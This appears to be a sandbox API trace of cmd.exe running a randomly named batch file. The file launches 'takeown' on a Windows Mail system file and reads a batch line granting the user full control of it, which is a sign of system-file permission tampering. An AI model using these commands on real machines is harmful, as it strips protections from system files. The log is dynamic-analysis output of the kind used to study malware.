returned 2 [0131.645] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0131.645] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0131.645] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0131.645] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0131.645] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0131.645] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0131.645] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0131.645] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0131.645] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0131.645] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0131.645] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0131.645] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0131.646] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0131.646] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0131.646] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0131.646] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0131.646] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0131.646] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0131.646] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0131.646] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0131.646] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0131.646] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0131.646] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0131.646] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0131.646] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0131.646] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0131.646] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0131.646] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0131.646] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0131.646] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0131.646] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0131.646] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0131.646] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0131.646] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0131.647] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x418) returned 0x4160f0 [0131.647] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4160f8, lpFilePart=0x37f520 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f520*="Desktop") returned 0x25 [0131.647] SetErrorMode (uMode=0x0) returned 0x1 [0131.647] GetProcessHeap () returned 0x400000 [0131.647] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4160f0, Size=0x64) returned 0x4160f0 [0131.647] GetProcessHeap () returned 0x400000 [0131.647] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4160f0) returned 0x64 [0131.647] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0131.648] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0131.648] GetProcessHeap () returned 0x400000 [0131.648] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x120) returned 0x416160 [0131.648] GetProcessHeap () returned 0x400000 [0131.648] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x238) returned 0x416288 [0131.648] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416288, Size=0x122) returned 0x416288 [0131.648] GetProcessHeap () returned 0x400000 [0131.648] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416288) returned 0x122 [0131.648] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0131.648] GetProcessHeap () returned 0x400000 [0131.648] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe0) returned 0x4163b8 [0131.648] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4163b8, Size=0x76) returned 0x4163b8 [0131.648] GetProcessHeap () returned 0x400000 [0131.648] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4163b8) returned 0x76 [0131.648] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.649] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0131.649] GetLastError () returned 0x2 [0131.650] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0131.650] GetLastError () returned 0x2 [0131.650] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.650] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0x4176e8 [0131.651] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0131.651] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0xffffffff [0131.651] GetLastError () returned 0x2 [0131.651] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x37f29c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f29c) returned 0x4176e8 [0131.651] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0131.651] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0131.651] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0131.651] GetConsoleTitleW (in: lpConsoleTitle=0x37f2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.652] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x210) returned 0x416438 [0131.652] GetProcessHeap () returned 0x400000 [0131.652] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x8c) returned 0x416650 [0131.652] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x418) returned 0x414280 [0131.652] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x414288, lpFilePart=0x37ee0c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37ee0c*="Desktop") returned 0x25 [0131.652] SetErrorMode (uMode=0x0) returned 0x1 [0131.652] GetProcessHeap () returned 0x400000 [0131.652] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x414280, Size=0x64) returned 0x414280 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x414280) returned 0x64 [0131.653] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0131.653] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x120) returned 0x4166e8 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x238) returned 0x416810 [0131.653] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416810, Size=0x122) returned 0x416810 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416810) returned 0x122 [0131.653] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe0) returned 0x416940 [0131.653] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416940, Size=0x76) returned 0x416940 [0131.653] GetProcessHeap () returned 0x400000 [0131.653] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416940) returned 0x76 [0131.653] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.654] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0131.654] GetLastError () returned 0x2 [0131.654] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0131.654] GetLastError () returned 0x2 [0131.654] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.654] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0x4176e8 [0131.655] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0131.655] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0xffffffff [0131.655] GetLastError () returned 0x2 [0131.655] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x37eb88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37eb88) returned 0x4176e8 [0131.655] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0131.655] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0131.655] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0131.655] GetConsoleTitleW (in: lpConsoleTitle=0x37f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.656] InitializeProcThreadAttributeList (in: lpAttributeList=0x37ef08, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37efd0 | out: lpAttributeList=0x37ef08, lpSize=0x37efd0) returned 1 [0131.656] UpdateProcThreadAttribute (in: lpAttributeList=0x37ef08, dwFlags=0x0, Attribute=0x60001, lpValue=0x37efc8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37ef08, lpPreviousValue=0x0) returned 1 [0131.656] GetStartupInfoW (in: lpStartupInfo=0x37eec4 | out: lpStartupInfo=0x37eec4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0131.656] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x18) returned 0x4176e8 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.656] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0131.657] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0131.657] GetProcessHeap () returned 0x400000 [0131.657] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4176e8 | out: hHeap=0x400000) returned 1 [0131.657] GetProcessHeap () returned 0x400000 [0131.657] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xa) returned 0x400d38 [0131.657] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0131.657] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37ef64*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37efb0 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", lpProcessInformation=0x37efb0*(hProcess=0x78, hThread=0x74, dwProcessId=0xbe8, dwThreadId=0xc6c)) returned 1 [0131.760] CloseHandle (hObject=0x74) returned 1 [0131.760] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0131.760] GetProcessHeap () returned 0x400000 [0131.760] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a98 | out: hHeap=0x400000) returned 1 [0131.760] GetEnvironmentStringsW () returned 0x417f30* [0131.760] GetProcessHeap () returned 0x400000 [0131.760] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb5c) returned 0x418a98 [0131.760] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0131.760] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0132.544] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x37eea4 | out: lpExitCode=0x37eea4*=0x0) returned 1 [0132.544] CloseHandle (hObject=0x78) returned 1 [0132.544] _vsnwprintf (in: _Buffer=0x37efec, _BufferCount=0x13, _Format="%08X", _ArgList=0x37eeb0 | out: _Buffer="00000000") returned 8 [0132.544] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0132.544] GetProcessHeap () returned 0x400000 [0132.544] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a98 | out: hHeap=0x400000) returned 1 [0132.544] GetEnvironmentStringsW () returned 0x417f30* [0132.544] GetProcessHeap () returned 0x400000 [0132.544] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb5c) returned 0x418a98 [0132.544] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0132.545] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0132.545] GetProcessHeap () returned 0x400000 [0132.545] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a98 | out: hHeap=0x400000) returned 1 [0132.545] GetEnvironmentStringsW () returned 0x417f30* [0132.545] GetProcessHeap () returned 0x400000 [0132.545] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb5c) returned 0x418a98 [0132.545] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0132.545] GetProcessHeap () returned 0x400000 [0132.545] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d38 | out: hHeap=0x400000) returned 1 [0132.545] DeleteProcThreadAttributeList (in: lpAttributeList=0x37ef08 | out: lpAttributeList=0x37ef08) [0132.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.545] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0132.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.545] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0132.545] _get_osfhandle (_FileHandle=0) returned 0x3 [0132.546] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0132.546] SetConsoleInputExeNameW () returned 0x1 [0132.546] GetConsoleOutputCP () returned 0x1b5 [0132.546] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0132.546] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x37f724, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0132.546] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0132.547] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.547] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416940 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416810 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4166e8 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x414280 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416650 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416438 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4163b8 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416288 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416160 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4160f0 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011a0 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4012a0 | out: hHeap=0x400000) returned 1 [0132.547] GetProcessHeap () returned 0x400000 [0132.547] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401140 | out: hHeap=0x400000) returned 1 [0132.547] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.547] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0132.547] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x37f708, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x37f708*=0xb3, lpOverlapped=0x0) returned 1 [0132.548] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0132.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0132.548] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.548] GetFileType (hFile=0x78) returned 0x1 [0132.548] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.548] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0132.548] GetProcessHeap () returned 0x400000 [0132.548] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x424aa8 [0132.549] GetProcessHeap () returned 0x400000 [0132.549] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x72) returned 0x4110e0 [0132.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", nBufferLength=0x208, lpBuffer=0x37ee98, lpFilePart=0x37ee90 | out: lpBuffer="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", lpFilePart=0x37ee90*="msoeres.dll.mui") returned 0x33 [0132.549] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x4176e8 [0132.549] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0132.549] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0132.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 0x4176e8 [0132.549] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0132.549] _wcsnicmp (_String1="WINDOW~1", _String2="Windows Mail", _MaxCount=0xc) returned 11 [0132.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x4176e8 [0132.549] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0132.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 